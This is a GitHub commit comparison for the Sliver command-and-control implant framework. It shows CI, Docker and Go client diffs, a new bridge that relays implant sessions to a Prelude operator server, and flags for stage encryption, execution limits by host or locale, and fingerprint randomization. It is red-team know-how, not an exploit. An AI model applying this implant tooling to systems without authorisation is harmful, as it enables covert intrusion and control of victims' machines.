Compare commits

..
Author SHA1 Message Date
rkervella b65ee3144e Merge branch 'master' into prelude/stage 2022-09-04 09:24:28 -07:00
rkervella b5c6edffec Merge branch 'master' into prelude/stage 2022-09-01 13:04:49 -07:00
rkervella 9352b4b39c Merge branch 'master' into prelude/stage 2022-09-01 13:02:42 -07:00
rkervella e98b1d5222 Major refactor 2022-08-31 16:07:24 -07:00
rkervella 34c5fe545c Fix call order and add safety check 2022-08-30 14:13:29 -07:00
rkervella cb264f1a4d Add license 2022-08-30 13:54:02 -07:00
rkervella 15763fc2b6 Fix parsing, remove old BOF code 2022-08-30 13:49:02 -07:00
rkervella e959bdc54b Remove deprecated "keyword" executor 2022-08-30 13:30:29 -07:00
rkervella eaae285f4b Reworked extension support for prelude 2022-08-30 12:52:46 -07:00
rkervella 562cc49500 Complete refactor of extensions. 2022-08-30 10:36:13 -07:00
rkervella fff3405d29 Fix name 2022-08-29 11:52:27 -07:00
rkervella 24606aaa8f Remove commented code 2022-08-29 10:16:17 -07:00
rkervella fb5866aba1 Refactor extensions 2022-08-29 09:44:19 -07:00
rkervella 9a411a3290 Refactor extensions 2022-08-29 09:20:04 -07:00
rkervella c29f1c3be6 Merge branch 'master' into prelude/stage 2022-08-29 08:24:25 -07:00
rkervella 7f15c56449 Remove range 2022-08-28 09:20:42 -07:00
rkervella 8fc1f1f00b Remove range, fix command description 2022-08-28 09:19:08 -07:00
Ronan Kervella 4a5ec4afae Merge pull request #805 from BishopFox/prelude/client-daemon
Prelude/client daemon
2022-08-28 09:11:44 -07:00
moloch-- fb5303ef04 Implemented callback map 2022-08-28 08:03:39 -07:00
moloch-- d6a7c024f8 Merge branch 'prelude/stage' into prelude/client-daemon 2022-08-28 07:57:58 -07:00
moloch-- 2adf0e8cb0 Initial refactor 2022-08-27 07:21:53 -07:00
rkervella c2cacb5e1e Merge branch 'master' into prelude/stage 2022-08-26 14:01:37 -07:00
rkervella d7e0293647 WIP extensions 2022-08-25 10:59:49 -07:00
rkervella 82d500ceec Merge branch 'master' into fix/prelude 2022-08-24 14:03:27 -07:00
rkervella a3f5dcd54a WIP prelude update 2022-08-24 11:03:56 -07:00
rkervella 37ff504164 WIP 2022-08-23 17:33:55 -07:00
rkervella 552093c7b6 Fix Windows executor 2022-08-23 14:42:00 -07:00
rkervella 7a143c58e6 Remove useless call to a.GetID() 2022-08-23 14:41:46 -07:00
2072 changed files with 40030 additions and 474085 deletions

No files matched your search

-16
View File
@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+111 -106
View File
@@ -6,55 +6,57 @@ on:
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +108,53 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+7 -7
View File
@@ -17,13 +17,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "1.19.1"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+45 -42
View File
@@ -1,7 +1,7 @@
name: Build & Test
on:
push:
branches:
branches:
- test/*
pull_request:
branches:
@@ -13,67 +13,70 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+5 -4
View File
@@ -1,4 +1,4 @@
FROM golang:1.19.1
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+1 -1
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
+1 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
"os"
"path"
"path/filepath"
)
@@ -70,7 +69,7 @@ func GetConfigs() map[string]*ClientConfig {
confs := map[string]*ClientConfig{}
for _, confFile := range configFiles {
confFilePath := path.Join(configDir, confFile.Name())
confFilePath := filepath.Join(configDir, confFile.Name())
log.Printf("Parsing config %s", confFilePath)
conf, err := ReadConfig(confFilePath)
+20 -9
View File
@@ -35,12 +35,32 @@ import (
const (
logFileName = "sliver-client.log"
configFlagStr = "config"
preludeServerFlagStr = "server"
rangeFlagStr = "range"
aesKeyFlagStr = "aes-key"
)
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Prelude
cmdPrelude.Flags().StringP(configFlagStr, "c", "", "sliver client config file path")
cmdPrelude.Flags().StringP(preludeServerFlagStr, "s", "", "prelude server connection string")
cmdPrelude.Flags().StringP(aesKeyFlagStr, "a", "", "AES key")
rootCmd.AddCommand(cmdPrelude)
// Version
rootCmd.AddCommand(cmdVersion)
}
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
@@ -52,15 +72,6 @@ func initLogging(appDir string) *os.File {
return logFile
}
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Version
rootCmd.AddCommand(cmdVersion)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
+124
View File
@@ -0,0 +1,124 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
"os"
"sync"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
var cmdPrelude = &cobra.Command{
Use: "prelude",
Short: "Start client as a Prelude bridge",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
confFilePath, err := cmd.Flags().GetString("config")
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
config, err := assets.ReadConfig(confFilePath)
if err != nil {
log.Printf("[!] Failed to read config file: %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
preludeServer, err := cmd.Flags().GetString(preludeServerFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
aesKey, err := cmd.Flags().GetString(aesKeyFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
fmt.Printf("Prelude relay mode, connecting to %s ... ", preludeServer)
log.Printf("Prelude relay mode, connecting to %s ...", preludeServer)
rpc, _, err := transport.MTLSConnect(config)
if err != nil {
log.Printf("[!] Failed to connect to server %s", err)
fmt.Printf("%s\n", err)
os.Exit(2)
}
fmt.Println("success!")
log.Printf("Connection successful")
preludeConfig := &prelude.OperatorConfig{
OperatorURL: preludeServer,
RPC: rpc,
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(preludeConfig)
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get session list: %s", err)
os.Exit(3)
}
if len(sessions.Sessions) > 0 {
log.Printf("Adding existing sessions ...")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
log.Printf("[!] Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
log.Printf("Done !")
}
beacons, err := rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get beacon list: %s", err)
os.Exit(3)
}
if len(beacons.Beacons) > 0 {
log.Printf("Adding existing beacons ...")
// I'm not sure this callback map is actually needed
type BeaconTaskCallback func(*clientpb.BeaconTask)
beaconTaskCallbacks := map[string]BeaconTaskCallback{}
beaconTaskCallbacksMutex := &sync.Mutex{}
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
beaconTaskCallbacksMutex.Lock()
defer beaconTaskCallbacksMutex.Unlock()
beaconTaskCallbacks[taskID] = cb
})
if err != nil {
log.Printf("[!] Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
}
},
}
+3 -2
View File
@@ -29,9 +29,10 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
@@ -286,7 +287,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
if cmdExtensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
+8 -7
View File
@@ -28,8 +28,9 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
@@ -187,7 +188,7 @@ func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTP
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
if cmdExtensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
@@ -293,17 +294,17 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
installPath, err := extensions.InstallFromFilePath(tmpFile.Name(), true)
if err != nil {
return err
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
if cmdExtensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
cmdExtensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+1 -1
View File
@@ -22,8 +22,8 @@ import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
+1 -1
View File
@@ -24,8 +24,8 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
+38 -9
View File
@@ -109,8 +109,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +119,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,10 +141,42 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -156,9 +186,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
rowEntries = []string{
@@ -167,8 +196,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
// Build the row struct
+32 -145
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same parameter,
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -46,7 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -66,7 +66,6 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -80,6 +79,7 @@ import (
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/client/licenses"
"github.com/desertbit/grumble"
)
@@ -128,7 +128,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to load extension: %s\n", err)
continue
}
extensions.ExtensionRegisterCommand(ext, con)
cmdExtensions.ExtensionRegisterCommand(ext, con)
n++
}
if 0 < n {
@@ -457,7 +457,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -484,7 +483,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -520,6 +518,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -719,28 +718,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -902,9 +879,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1345,7 +1319,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
